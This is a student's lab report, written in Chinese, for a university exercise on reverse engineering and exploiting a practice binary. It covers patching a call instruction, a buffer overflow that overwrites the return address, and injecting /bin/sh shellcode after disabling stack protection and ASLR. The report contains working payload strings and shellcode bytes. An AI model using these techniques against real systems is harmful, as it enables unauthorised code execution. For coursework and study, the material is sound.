2019-2020-3 20175203马羽达《网络对抗技术》EXP1 PC平台的逆向破解
任务
1.实验内容
1.1直接修改程序机器指令,改变程序执行流程
1.2通过构造输入参数,造成BOF攻击,改变程序执行流
1.3注入Shellcode并执行
2.需要描述的内容
2.1掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
2.2掌握反汇编与十六进制编程器
2.3能正确修改机器指令改变程序执行流程
2.4能正确构造payload进行bof攻击
3.用自己的话回答以下问题:
3.1实验收获与感想
3.2什么是漏洞?漏洞有什么危害?
1.1直接修改程序机器指令,改变程序执行流程
将目标文件pwn1_20175203
存放在本次实验的文件夹exp1
中,并打开文件夹,使用objdump -d pwn1 | more
对其进行反汇编,如图所示:
/main
查找main函数,若不能完全显示则可在more处长按enter键下拉,其中call 8048491
为汇编指令,同一行的为其机器指令e8 d7 ff ff ff
即跳转(e8)至目标地址(8084ba+d7ffffff(即-41)=8048491即08048491)此时,我们输入/foo
查找foo函数,找到目标地址08048491处:
所以我们若想让main函数调用getshell,只需计算getShell-80484ba
的补码,并用其替换掉d7ffffff
即可
在windows计算器中计算804847d-80484ba
即可得到补码c3ffffff
下面,我们复制pwn1_20175203文件,并将新文件命名为pwn2_20175203,打开新文件:
文件中我们看到的是一堆乱码,因为是机器代码,所以我们使用Esc
+:%!xxd
将其转换为16进制显示出来,/d7ff
查找所需更改处,回车选中d,使用r修改,即rc
+r3
,:%!xxd -r
将文件再次转换为机器代码,如果不这么做会导致无法运行,然后Esc
+:wq
保存退出。
此时我们看已经将d7更改为r3了
运行并对比1和2:
1.2通过构造输入参数,造成BOF攻击,改变程序执行流
首先依旧是反汇编pwn1_20175203,可见运行时调用如下foo
函数,有Buffer overflow漏洞,其指令lea
只为用户预留了1c=28个字节,如果超出则会造成溢出,覆盖返回地址
我们使用gdb
进行调试确定输入字符串到哪里时会覆盖到返回地址:
此时eip的值为0x35353535
,35的ASCII码表对应为5,所以我们将所有的5改为12345678,确认具体是哪一位之后造成溢出:
可见是4321
,并知道存储方式为小端模式,所以我们只要把1234替换为getShell的内存地址,在运行pwn1_20175203时输入,我们就可以实现改变程序执行流
getshell的内存地址为0804847d
,因为是小端模式,所以我们应输入11111111222222223333333344444444x7dx84x04x08
,我们使用perl
翻译其16进制,/x0a表示回车,并将其存入input文件夹中:
但当我们输入时发现并不支持,所以我们要使用xxd
查看input文件中的真实16进制值
此时我们用新的进行尝试,成功:
1.3注入Shellcode并执行
输入execstack -s pwn1 //设置堆栈可执行
execstack -q pwn1 //查询文件的堆栈是否可执行
more /proc/sys/kernel/randomize_va_space
然后sudo -s进入root权限
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
more /proc/sys/kernel/randomize_va_space
利用十六进制编辑指令perl构造一个字符串,写入到input_shellcode文件中用作文件执行时的输入。在这段字符串中,末尾的x4x3x2x1会覆盖到堆栈上的返回地址。
perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x4x3x2x1x00"' > input_shellcode
开启一个新的终端,输入ps -ef | grep pwn1_20175203
查询其进程号,gdb调试进程,输入attach3844
调试该进程,输入disassemble foo
查看ret的地址,break *0x080484ae
设置断点
进入之前的终端运行程序,在新终端gdb中输入c
继续运行,输入info r esp
查看栈顶指针位置、改地址存放的数据(见上图)
老操作,修改文件中的代码并执行,攻击成功:
2.1掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
(参考https://blog.csdn.net/liqiang981/article/details/51895009)
NOP:0x90
JNE:0x75
JE:0x74
JMP:
段内短跳转Jump Short:0xEB
段内近跳转Jump Near :0xE9
段间远转移Jmp Far :0xEA
段内间接跳转Jmp Word:0xFF
CMP:0x39
2.2掌握反汇编与十六进制编程器
反汇编指令为objdump -d <文件名>
十六进制指令为`perl -e 'print "字符/字符串"' > <文件名>
2.3能正确修改机器指令改变程序执行流程&2.4能正确构造payload进行bof攻击
见1.1&1.3
3.1实验收获与感想
本次实验所花的时间有点多,主要是浪费在基础的小事情上,比如最开始复制文件pwn1出现格式错误,导致可以查看,反汇编,但是无法运行,还有就是更改文件后忘记将其改回机器代码导致无法执行等等,总体下来收获还是很多的,让我更加深刻的认识到了缓冲区溢出攻击以及在敲代码时规定输入边界以及边界测试的重要性。
3.2什么是漏洞?漏洞有什么危害?
我认为漏洞在字面意义上讲就是忘记填补的空缺,也就是由于程序员编程时没有测试到的边界问题以及其他未进行防护的安全隐患,如果有了漏洞而没有及时打补丁就会造成程序被不法分子利用漏洞恶意攻击的情况,并使用其窃取本机信息,文件或者通过获得主机的控制权,对所有者进行敲诈,勒索,欺骗等等,严重破坏了真实性、保密性、可用性,造成极大的安全隐患。